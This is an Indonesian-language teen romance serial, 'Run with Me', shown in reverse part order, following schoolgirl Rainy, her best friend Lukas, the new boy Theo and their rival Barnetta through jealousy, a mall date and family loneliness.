   'Darimana saja kau?',tanyaku agak sedikit ketus karena telah lama menunggunya. 'Maaf,aku baru saja mencari toilet',jawabnya dengan wajah polos. hellow,, di taman ini mana ada toilet. dia hanya mencari-cari alasan. aku mengajak lukas pulang karena tak ada untungnya juga berada di taman ini,hanya membuatku iri saja. aku langsung menuju tempat parkir motor lukas, tapi lukas kutinggal di belakang. saat lukas menghidupkan motornya, ada seorang gadis menhampiri kami. lukas yg sadar akan hal itu segera turun dari motornya dan tentunya menyuruhku untuk turun. aku pikir itu teman bubble. tapi,,, gadis itu meminta lukas mengantarnya pulang. tenyu saja lukas tanpa basa-basi dan tidak menolak sedikitpun. 'SHIT'. lukas tanpa mengucapkan kalimat untuk menjelaskan kalau dia meminta maaf tidak bisa mengantarku pulang karena lebih memilih gadis itu. merekapun berlalu. dan aku...

Run with Me - ( this is story ) PART 11





   Pulang sekolah. Lukas mengajakku pulang,tapi kali ini aku menolaknya karena ada theo yg sudah menungguku di gerbang. 'ciee,ciee.. Pacarmu si theo itu ya yg udah ngerebut hakku buat nganterin kamu pulang ya? Hehe',katanya agak menggodaku. Aku menuju gerbang sekolah dan menemui theo yg sudah siap dengan range rovernya. 'siap pretty?'. 'ok'. Kami dan range rovernyapun melaju menuju sebuah mall. 'Loh,kita ga langsung pulang?',tanyaku heran tetapi tetap senang karena tak langsung pulang ke rumah dan pastinya lebih lama bersama theo. 


   Theo mengajakku ke mcbieber, itu tempat makan favorit justin ( my purple ninja ). Aku minta dianter ke toko buku,karena ingin sekali membeli buku NSN. Setelah kudapatkan,aku segera menuju ke kasir dan menemui theo yg menunggu diluar. Theo mencari stan ice cream, karena dia tau aku suka ice cream atau mungkin dia juga menyukainya. Theo memberiku satu cone ice cream coklat. Yummy. Kami berkeliling mall sambil makan ice cream dan ternyata itu cukup menyenangkan. 'Rain',panggilnya. 'Iya,kenapa?'. 


   Theo lebih mendekatkan wajahnya kepadaku, lebih dekat, dekat dan... Dia mengelap sisa ice cream yg belepotan menggunakan tangannya. 'Kayak anak kecil aja deh kamu',godanya. Aku hanya cengar-cengir. Aku mengajaknya pulang karena hari sudah semakin sore. Theo hanya mengantarku sampai halaman depan.dia tidak ikut masuk ke dalam rumah. Aku masuk rumah. I don't believe this is happened to me. Meluarkan kunci dari dalam tas. Aku kaget karena melihat pintu tidak terkunci dan agak sedikit terbuka.. Aku mendengar bunyi seperti seseorang sedang memasukkan barang ke dalam kantong plastik... Setelah aku buka pintu pelan-pelan khawatir orang di dalam rumah langsung kabur melihat aku masuk rumah jika ia pencuri..

Run with Me - ( this is story ) PART 10





   kurasa tangannya yg lembut membuatku juga ingin menyentuhnya. Dia membuka mataku,membuatku terkesan mati kutu. Duduk di sampingku dan bercerita apa yg sedang dialaminya. Ternyata dia mengetahui kalau barnetta punya pacar selain dia. Syukurlah dia mengetahuinya sendiri tanpa aku beritahu,bukan karena aku senang karena dia mungkin sudah menyandang status 'single'. Dia menarik tanganku untuk segera masuk ke kelas. 'meet me in library at break time,ok pretty',ktnya sambil memflip rambutnya yg agak basah. 'aww,,he called me pretty. Im so blushing'. Aku masuk ke kelas2 dengan senyum2 sendiri sampai2 lupa kalau aku tidak ingin berbicara pada lukas. 'are you okay?',tanya lukas heran padaku. 


   Aku tak menjawab,hanya mengangguk dan tetap senyum2. 'bble,entar pas istirahat ke perpus yuk',puppy face dan berharap dia mau mengantarku. Kita mengikuti pelajaran seperti biasanya. 'tet..tet..tet..' suara bel menandakan waktu istirahat dan secara tidak langsung aku menarik tangan bubble dan segera melangkahkan kaki menuju perpus. Perpus berada di lantai 2,sehingga membuat kami harus menaiki tangga. Tanpa melihat kearah depan,aku tak sadar telah menabrak barnetta. 'upss'. 


   Sebenarnya barnetta tidak sampai jatuh terduduk,hanya saja waktu theo menghampiri kami,si muka tembok itu pura-pura jatuh dan menuduhku salah. Tapi itu tak membuat theo berpaling dan kembali padanya,theo malah mengabaikannya tak membantu barnetta untuk berdiri, malah menarik tanganku masuk ke dalam perpus. Aku tak menghiraukan si bubble,dia tetap saja mengikuti aku dan theo tanpa menghiraukan si muka tembok. Kurasa aku sekarang lebih lega karena dua cowok yg pernah membuatku sakit hati gara2 barnetta kini telah mengabaikan barnetta. Theo mengajakku duduk,begitu juga lukas yg terus saja mengikuti kami berdua. 


   Akhirnya theo merasa risih juga karena mulai tadi lukas juga juga ikutan nimbrung soal kami berdua. Ah,sudahlah. 'Kas,bisakah kau cari tempat lain? Atau kami yg pindah tempat,kau tetap disini?',mohon theo pada si bubble. 'duuh,ada apa nih theo ngomong seperti itu pada bubble?',aku hanya bisa berkata di dalam hati. Lukas hanya menganguk tanda memberi jawaban kepastian. Theo menarik tanganku dan tanpa melihat kearahku. Kurasa aku tahu dia mau membawaku kemana,danau. Yap,danau di belakang sekolah. 'ehmm,,kamu....',katanya membuat kalimat yg tidak diteruskan. 'ya,kenapa theo?',tanyaku penasaran. 'entar pulang bareng yuk',nadanya dengan sedikit membuatku senang atau apalah. 'okelah,kebetulan dad lagi tidak di rumah',kataku menyanggupi. Aku kira theo ingin membicarakan hal yg paling penting tentang perasaannya padaku, tapi sepertinya aku tak akan mungkin mendapatkannya. Dia juga baru putus dengan barnetta. Mungkin hatinya masih sakit.

Run with Me - ( this is story ) PART 9





   mereka yg kulihat kemarin di taman .. ya, mereka barnetta dan tentu saja dengan seorang lelaki yg mungkin pacar atau hanya sebatas teman kencannya saja. wajah barnetta yg mulai kelihatan geram melihatku terlihat lucu. aku langsung meninggalkan mereka, bukannya aku takut pada barnetta, tapi hanya muak membuat masalah dengannya.tentu saja aku menghiraukan seragamku yg kotor dan melaju dengan sepedaku. aku tak tahu apakah mereka akan minta maaf padaku atau hanya menganggapnya sebagai hal yg biasa tanpa perlu meminta maaf. aku terus melaju dengan sepedaku.about 100m away from them,my bike feels heavy..I went down and checked it out.my bicycle tire's leak. fuckin' day.. aku meneruskan langkah dengan memnuntun sepedaku itu. mobil pacar barnetta berhenti di sampingku. 


   aku tak tahu apa mau mereka. mau meminta maaf,menawari tumpangan ataupun hanya sekedar mengejekku. pacar barnetta turun dan mengajakku untuk masuk ke mobilnya menawarkan untuk mengantarku ke sekolah, tapi tak kulihat barnetta juga begitu padaku. aku agak merasa mau tak mau untuk menerima tawarannya, aku takut barnetta malah semakin menjadi-jadi bersikap seperti bukan seorang teman kepadaku. tanpa basa-basi aku langsung menerimanya tanpa memikirkan bagaimana yg akan selanjutnya dilakukan barnetta padaku. aku masuk tanpa melihat wajah tembok itu tapi tetap senyum pada pacar barnetta yg boleh aku bilang 180 derajat sangat berbeda dengan barnetta ( aku belum tahu namanya). 


   kutinggalkan sepedaku ditempat itu dan tak mungkin ada yg mengambil sepeda buntut seperti itu. sampai di sekolah, pacar barnetta membukakan pintu samping bagian belakng dan mepersilahkanku untuk turun. dia menyodorkan tangannya padaku. meminta maaf dan menyebutkan namanya. 'jeydon',sebutnya dengan suara khas cowok yg sudah puber. 'thanks jey', tak lupa aku berterima kasih padanya. barnetta langsung menarik tangan jeydon dan mulai mendekatkan wajahnya pada wajah jeydon.. aku rasa mereka akan melakukan hal yg sangat membuatku jijik melihatnya. tapi jeydon mendorong barnetta jauh-jauh. mungkin jeydon merasa tidak enak karena masih ada aku di dekat mereka. 


   akupun melambaikan tangan dan berjalan agak cepat menuju kelas. aku langsung menempati kursi kesayanganku tanpa bertegur sapa pada si bubble yg sedang sibuk bermain dengan rubik 5 kotaknya itu. aku langsung meninggalkannya setelah meletakkan tas begitu saja dan pergi ke taman belakang sekolah karena jam masuk masih lama. aku duduk di bangku sambil mendengarkan musik dari i-Pod. i felt something vibrated in my pocket. my phone and i get it. there's two messages from unknown number. aku membacanya. 'hy Rainy. i <3 u .... -secret admirer-', itu isinya. aku hanya mengabaikan karena ini hanya ulah teman2 yg sering mngerjaiku. masa bodoh. aku merasakan ada hentakkan kaki di belakangku. aku rasa.. dia menutup mataku..

Run with Me - ( this is story ) PART 8





   dia Theo.. awww surprise for me. kenapa dia bisa tahu rumahku? ah masa bodoh. aku langsung mempersilahkan dia masuk. dia sedikit mengobati rasa sakit hatiku karena si barnetta dan lukas itu.. whatever lah mereka. kami duduk di ruang tamu,seperti biasa aku menemui teman2ku yg singgah atau sengaja bermain ke rumah. aku memulai percakapan terlebih dahulu. 'Kamu tahu dari siapa rumahku?',tanyaku penasaran. 'Aku tadi pulang sekolah pengen nyempetin ke taman deket sekolah,tapi mood lagi ga ada. ya udah aku terusin nyetir mobilnya pas ngeliat kamu lari2 sama lukas di depan halaman rumahmu ini. ya aku pikir ini rumah kamu', katanya diakhiri dengan senyum. 'Untung aja dia ga beneran ke taman',kataku dengan suara yg mungkin dia tidak akan mendengarnya tapi dia mendengar juga. 'Untung? maksudnya?',katanya penasaran. 'Bukan koq. ga ada untungnya.. hehe'. 


   aku tidak ingin membuatnya marah disini, aku tidak ingin dia menuduhku karena telah mengada-ada. aku akan membiarkannya sampai dia mengetahui apa yg telah dilakukan barnetta padanya. aku masih teringat dengan lukas,tapi kali ini ada Theo yg menemaniku. kami berbincang tentang hal apa saja,dari hal yg paling kami suka sampai hal yg bisa membuat kami bisa membencinya. sekarang aku tahu kalau theo sangat membenci jika ada orang yg berani berbohong padanya,ia akan sangat sulit untuk memaafkannya. tak terasa sudah satu jam tiga puluh menit theo berada di rumahku. 


   theo segera beranjak meninggalkan rumahku karena mungkin dia melihat aku sudah lelah dan butuh istirahat. aku membukakan pintu dan dia ... weiisshh.. he kissed my forehead.I didn't think he would do that to me. but he just threw the sweetest smile. he drove with his range rover and waved at me.I just smiled. I locked the door and lay down on the mattress. I could kiss his lips still feel until I fall asleep. paginya aku langsung berangkat ke sekolah dengan sepedaku tanpa harus pergi ke peternakan karena dad sedang di luar kota. ketika aku sedang santainya mengayuh sepeda,ada sebuah mobil melintas dan mencipratkan air pas mengenai seragamku.. uhh, so damn !!.. 'hey, stop. minta maaf apa gitu ! . betapa kagetnya aku setelah melihat sepasang remaja turun dari mobilnya. . mereka ...

Run with Me - ( this is story ) PART 7





   Aku hanya menemukan kertas note yg bertuliskan,'Dad pergi ke luar kota. Maaf,dad tidak memberitahumu. 3 hari lagi dad pulang. Take care my lil princess'. Aku meletakkan note itu kembali dan pergi ke dapur mengambil minuman untuk lukas. Sebelum aku menemuinya di ruang tamu,aku berganti pakaian terlebih dahulu. Aku menuju ruang tamu sambil membawa minuman dan makanan kecil untuk lukas. 


   'Where's your dad,be?',tanyanya padaku. Sebelum aku menjawab,dia sudah menjawab pertanyaan yg semestinya tak perlu. 'Pasti ke luar kota kan?. Haha asiik'.. So weird.. Memang. 'Aku bosen nih di rumah terus,entar malem jalan yuk',flirty tone. 'Sorry Rain,aku harus mengantar mom ke rumah temannya',jawabnya membuatku kecewa. Hemmm. Lukas pun pulang,karena hari sudah semakin sore. Aku kesepian,dad pergi ke luar kota. Memang,dad sering pergi ke luar kota tanpa memberitahuku sebelumnya. Hanya menempelkan note di kulkas,meja belajarku atau apalah. Aku tak pernah tahu tujuan ayah keluar kota tanpa memberitahuku. Aku tak berani bertanya. Haripun semakin larut. 


   Aku lapar,mencari sesuatu untuk mengganjal perut di kulkas tapi tak kudapatkan. Kuambil sepeda dan kukayuh sampai supermarket yg jaraknya cukup jauh dari rumahku,maklum minimarket yg jaraknya 100m dari rumahku sudah tutup. Setelah selesai membayar di kasir,aku segera menentengnya menuju sepedaku dan meletakkannya di rantang depan. Sebelum aku beranjak dari tempat parkir,aku melihat mobil lukas baru memasuki tempat parkir itu. Aku sengaja tidak memanggilnya,ingin dia menyapaku lebih dulu. Tapi dia tidak melihatku,dia membukakan pintu mobilnya dan mempersilahkan seseorang untuk turun. 


   Aku pikir itu mama lukas karena tadi sore dia bilang ingin mengantar mamanya,but.. So damn !! She's barnetta. Awww.. You made my heart's hurt. Kali ini aku benar2 kesal,marah. Aku mengayuh sepeda secepat mungkin agar sampai di rumah dan ingin sekali rasanya aku menangis. Aku membuka pintu kamar,melempar plastik berisi makanan tadi ke lantai. Aku sampai lupa kalau aku sedang lapar. Merebahkan badanku,menutup wajah dengan bantal dan menangis. Aku tidak ingn bertemu dengan lukas lagi. Dia sangat tidak mengerti perasaanku. 


   Aku merasa telah ditipu olehnya. Ahh,,nyesel banget rasanya punya sahabat yg bisanya buat sakit hati. Aku tak mengerti kenapa aku bisa sampai sebegitu kesal sama dia. Apa aku cemburu? What?!! No!!. He's just ma bestfriend,always !. 'Tok..tok..tok..',suara pintu diketuk seseorang. Aku tak tahu dia siapa. Aku membukakan pintu dan aku melihat seorang lelaki pastinya memakai hoodie hitam,tetapi dia membalikkan badannya. Aku sangat terkejut ketika dia membalikkan badannya dan menghadap kearahku. Ternyata dia.......

Run with Me - ( this is story ) PART 6





   Aku tidak peduli dengannya. Aku terus melangkahkan kaki menuju rumah. Aku melihat dua orang perempuan yg satu sebaya denganku dan yg lain mungkin seperti mom. Seorang laki2 seumuran dad mengikuti mereka di belakang bersepeda ria. Ya,itu sebuah keluarga. Aku sangat iri melihat mereka,ingin sekali aku menghabiskan waktu bersama dad dan mom. Langkahku terhenti,tanpa terasa aku meneteskan air mata teringat masa kecilku yg selalu bersama mom dan dad. 


   Seseorang menepuk pundakku dan itu membuatku berhenti melamun. 'Hey',sapanya tapi aku belum membalikkan badan. Aku tau siapa dia dan sangat sangat menegetahuinya,bubble. Aku tak menghiraukannya,menghapus air mataku dan langsung meninggalkannya. Bubble mengejarku, dan akhirnya dia berhenti di depanku. 'What happen with you?',tanyanya memasang wajah tanpa salah. Aku tak menjawab,hanya diam dan meneruskan langkahku. Aku ingin cepat sampai rumah. Lukas menahan tanganku, aku tahu maksudnya dia ingin meminta penjelasan kenapa aku bersikap dingin padanya. Lukas mendudukkanku di sebuah bangku di pinggir jalan. 'Kau membuatku kesal,marah. Apa kau tidak dengar aku memanggilmu saat kau keasiikan ngobrol sama cewek tembok itu?'jawabku dengan nada keras sedikit melonjak dan mengeluarkan air mata. Lukas memelukku dan mencoba menenangkanku. 


   'Kenapa cuma karena soal itu,kamu bersikap seperti ini pada sahabatmu sendiri?'tanyanya. Aku tak menjawab,dia tambah memelukku. Aku melepaskan pelukannya,berdiri mengatakan sebuah kalimat yg mewakilkan semua peraanku saat ini.. 'A..a..aku......' aku langsung lari dan ketawa seperti semua beban telah usai kujalani. Lukas mengejarku. Aku tak sadar bahwa kami telah berada di halaman rumahku.. Tanpa aku suruh,lukas juga ikut masuk ke dalam rumah. Tapi,tak kudapati ayah yg biasanya selalu menyambutku di ruang tv..

Run with Me - ( this is story ) PART 5





   Aku berjalan sendirian menuju gerbang depan tanpa menghiraukan si bubble itu. Aku tau dia tidak akan tega melihatku pulang sendirian,apalagi dia tahu rumahku lumayan jauh dari sekolah tapi dia membuatku kesal. Arggh. Aku tak ingin lama2 berada di sekolah gara2 si barnetta si muka tembok yg kecentilan membuat aku hari ini cukup lebih bersabar. Aku beerhenti di sebuah taman yang tak jauh dari sekolahku. Aku duduk di bangku yg belakangnya terdapat air mancur yg berbentuk sebuah kuda. Aku duduk sambil mendengarkan i-Pod. 
   
   Tak lama kemudian,seorang gadis kecil menghampiriku dan duduk di sampingku. 'Hy kak',sapanya dengan suara khas anak kecil. 'Hallo gadis manis,sedang apa kau disini?',balasku agak akrab tetapi aku belum mengetahui siapa gadis kecil nan mungil itu. 'Aku tiap hari memang sering kesini,aku meunggu ayah pulang',dengan wajah ceria yg dibuatnya tapi aku bisa menebak kalau dia hampir saja menangis. Aku memeluknya. 'Kenapa sayang?'tanyaku. Sebelum dia menjawab,datang seorang ibu2 yg menghampiri kami yg tak lain ibu gadis manis itu untuk menjemput buah hatinya itu. Ibu itu menyuruhku berdiri dan membisikkan beberapa kalimat hingga aku paham dan membuatku iba. Aku tau kenapa gadis itu selalu pergi ke taman untuk menunggu ayahnya. Tapi dia tidak akan pernah melihat wajah ayahnya lagi tanpa ia mengetahuinya. Ayahnya meninggal saat pulang dari kantor dan ibunya memang sengaja tidak memberitahunya sudah sekitar hampir 2 tahun. Itu bukan waktu yg cepat,tapi gadis itu sangat sabar hingga ayahnya pulang. Aku duduk lagi di bangku itu dan mengajaknya berbincang2. 


   Namanya cindy,dia masih 5 tahun tapi sudah menaggung beban mental. Ya,tanpa adanya lindungan dari seorang ayah. Ibunya mengajaknya pergi,gadis itu menurut saja. Sebelum mereka beranjak meninggalkanku,gadis itu mengajakku untuk berkunjung kerumahnya lain waktu. Aku hanya mengangguk dan memberikan senyuman pada cindy. Ibunya tersenyum sambil memberikanku kertas berisi alamat rumah gadis kecil itu. Mereka berjalan sudah terlihat jauh dari hadapanku dan menghilang dari pandanganku. 


   Aku bergegas meninggalkan bangku taman itu dan berjalan menuju stan ice cream. Setelah mendapatkan satu cone ice cream coklat,aku mulai meneruskan langkah menuju rumah dan melihat sekeliling. 'Apa!!!!' aku melihat barnetta duduk berdua dengan seorang laki2 yg menurutku juga sebaya dengan kami. Laki2 itu bukan si bubble ataupun theo. Aku tidak mengenalnya. Woww,hebat. Satu hari saja dia sudah seperti mendapatkan 3 orang laki2. Just ignored that im sayin'. Aku pergi sejauh mungkin agar merasa lebih baik daripada melihat mukanya yg bisa dibilang mirip tembok.

Run with Me - ( this is story ) PART 4





   Belum selesai dia melanjutkan kalimatnya hingga aku tahu siapa namanya,gerimis datang dan lama kelaman menjadi deras. Cowok itu menarik tanganku dan aku tahu maksudnya,bernaung d sebuah dangau agar kami tak basah oleh guyuran air hujan. Lama sekali kami berteduh di dangau itu tanpa adanya suguhan obrolan yg membuat kami tak canggung. Akhirnya aku memulai duluan, 'namamu siapa?',tanyaku agak sedikit kaku. 'Theo',jawabnya manis dan melemparkan senyuman padaku. 


   Aku membalas senyumannya itu. Tak terasa sudah 30 menit kami berada disitu menunggu hujan reda. Tetapi masih gerimis pula,akhirnya kamipun berlari menuju sekolah karena takut guru mencari kami.. Aku masuk kelas dengan seragam setengah basah. Aku duduk di bangku kesayanganku bersama si bubble yg daritadi aku perhatiin dia senyum2 gajelas. Aku cuekin aja dia,karena masih kesal dan marah padanya tapi dia tidak merasa kalau dia sudah salah. Dan bodohnya aku, kenapa ga nanya kelas theo dimana. Arghh. Pelajaran seperti biasa. Kali ini aku tidak memperhatikan guru hanya sibuk menggambar doraemon. Sampai bel pulang berbunyi. 


   Aku langsung memasukkan semua buku ke dalam tas tanpa menghiraukan si bubble itu. Keluar kelas dan aku berlari menuju koridor secepat mungkin agar bubble tak mengejarku. Aku tak tahu apa bubble mau mengajakku pulang bareng seperti biasa,atau dia malah pulang bareng sama si barnetta kecentilan itu. Karena semenjak aku masuk kelas bubble tidak mengucapkan sepatah katapun. Sudahlah. Tapi aku berharap bertemu theo di koridor sama seperti aku pertama kali bertemunya. Aku berdiri di di dekat pohon palm dan sengaja menunggu theo. Tapi, OMG !! Apa yg aku lihat. Theo menggandeng seorang cewek yg tak lain adalah barnetta. 


   Aku mencoba senyum pada theo agar dia melihatku. Tapi dia malah memalingkan wajah dan berbicara pada cewek sok-sokan itu. Barnetta melempar senyum sinis padaku dan untuk yg kedua kalinya dia membuat aku semakin membencinya. 'Kalo barnetta dengan theo,terus bubble sama siapa?',aku bingung. Ngapain aku peduliin orang seperti bubble yg belum tentu dia juga memikirkan perasaanku.

Run with Me - ( this is story) PART 3





   Pernah suatu hari aku menggambar desain kota impianku dan dengan pikunnya aku lupa meletakkan gambar itu di tempat yg aman agar dad tidak mengetahuinya. Tapi ternyata dad menemukannya,dan aku tidak tahu harus berbuat apa. Dad memarahiku bak aku telah melakukan kesalahn yg sangat besar padanya. Ubun-ubun serasa panas saat mendengar seribu petuah yg siap membuatku mati kutu. Meskipun begitu aku tetap menyayangi dad dan berusaha untuk tidak membuat dad marah padaku. 


   Bel masuk membuyarkan lamunanku. Aku dan lukas segera masuk kelas dan siap menerima pelajaran. O iya, aku duduk dengan lukas dan kami tidak mau dipisahkan. Kami sudah bersahabat sejak preschool dan mama lukas teman baik mom. Jika ada yg menempati kursi kesayanganku,lukas tidak tinggal diam begitu juga aku sebaliknya. Time is over. Waktunya istirahat. Aku mengajak lukas ke kantin tapi dia tak mau ikut karena masih melanjutkan tugasnya. Ya sudah,aku berjalan menuju kantin sendirian. Aku membeli orange juice favoritku dan tak lupa membelikan satu lagi untuk si bubble. 


   Aku berjalan melewati koridor dan berpapasan dengan seorang cowok yg wajahnya tak asing bagiku. Dan sepertinya aku sering melihatnya di layar tv. Tapi aku tak tau siapa dia. Bahkan anak2 lain mengabaikannya. Di depan kelas aku dikejutkan dengan anak yg bernama barnetta menempati kursi kesayanganku. Uhhh.. 'bubble',teriakku. Lukas tak menghiraukan itu dan dia keliatan sangat asiik sekali mengobrol dengan barnetta. Aku kesal,aku berlari ke taman belakang sekolah dan disitu terdapat danau kecil. Aku menangis. Melemparkan kerikil2 sejauh mungkin dan berteriak melepas kekesalanku. 


   Aku tercengang ketika seorang anak laki2 yg aku temui di koridor melintas di depanku. Aku segera menghapus air mataku dan berusaha menjadi ceria lagi. Dia menyodorkanku sapu tangan birunya dan menyuruhku menghapus air mataku. Dia duduk di sampingku. Aku sampai lupa menanyakan namanyadan untungnya dia menanyakan namaku terlebih dahulu. 'Rainy',jawabku. 'Kamu?'.. 'Aku.......

Run with Me - ( this is story ) PART 2





   di dalam truk kecil aku memperhatikan dad yg wajahnya dibasahi keringat. huhh,, sepertinya dad perlu sentuhan seorang lembut wanita untuk menggantikan mom. aku sangat khawatir ketika aku tidak berada di sampingnya,dad pasti kesepian. but, dad never complained about his status that has been a widower. dad sudah seperti super hero bagiku yg lebih hebat dari hero favoritku si spiderman. dad selalu ada buatku. tak terasa aku sudah berada di depan gerbang sekolah dan lukas telah menungguku disana.dad didn't forget to kissed my forehead. truk kecil itu berlalu dan meninggalkan kami berdua ( aku dan lukas ). 


   "com'n be.. run quickly !!" ucapannya tergesa-gesa sambil menarik tanganku. "hey, calm down bble. what is it?" tanayaku penasaran. lukas tak menjawab pertanyaanku,tetapi langkahnya semakin cepat dan semakin mendakat dengan wall magz.. yup, majalah dinding sekolahku. aku tak tahu apa yg terjadi disana sampai2 aku tak bisa melihat dengan jelas apa yg ditempel disitu karena anak2 berebut saling mendahului. aku tetap tak mengerti kenapa lukas sampai begitu hebohnya. aku duduk menunggu di bangku depan wall magz yg memang berada disitu sampai anak2 yg lain menghilang dan meninggalkan wall magz itu. lukas memanggilku. 


   aku mendekat dan ternyata ada sebuah pensi yg diadakan di sekolah dan disitu juga terdapat perlombaan yg hadiahnya lumayan membuat aku kaget.. and.. jreng.. "atlanta nice trip 'bout two weeks" . tapi sayangnya perlombaan itu mendesain sebuah tempat se-kreatif mungkin. "aku tak bisa ikut itu, pasti ayah tak akan menyetujuinya".. aku tak pernah tau alasan ayah melarangku menggambar tentang apa saja yg baru aku temui dan mendesainnya dengan ekspresiku sendiri.

Run with Me - ( this is story) PART 1





   hallo, aku Rainy. aku gadis biasa yg tiap hari hanya menghabiskan waktu bersama dad. maklum, mom udah meninggal dua tahun yg lalu tepatnya pada saat aku berusia 13 tahun.. mom berpesan sebelum meninggal kalau aku tidak boleh membuat dad sedih apalagi marah,itulah alasan kenapa aku jarang sekali membantah perintah dad. tiap hari aku selalu membantu dad di ladang dan pergi ke peternakan sapi untuk mengangkut hasil susu perahan pada agen fresh milk. 


   di sekolah aku juga bukan gadis populer yg bergabung dengan kelompok2 atau semacam genk cewek2 cantik,kaya yg ditakuti anak2 lain dan bisanya cuma membuat onar. aku punya seorang sahabat yg sangat baik padaku bahkan lebih baik sekalipun bila kuanggap saudara,bubble.. hey, kinda weird the boy named 'bubble'. yup, it just my call for him. act, the named was lukas ( just kidd,be ). sebelum berangkat sekolah,aku menemui ayah yg sedang di peternakan ( karena dad memang pemerah susu ), membantunya mengumpulkan ember berisi susu hasil perahan untuk diangkut ke truk kecil kami yg menjadi kendaran termewah yg kami punya. 


   pemilik agen fresh milk itu sangat baik padaku. maklum,dia tidak punya seorang istri apalgi seorang anak. orangnya gemuk, kulitnya agak hitam,giginya agak monyong dikit namanya Mr.Brown. mungkin karena faktor fisik itu yg membuatnya tetap perjaka di saat usianya sudah mencapai kepala 4 (40 tahun). ok, lanjut go to school..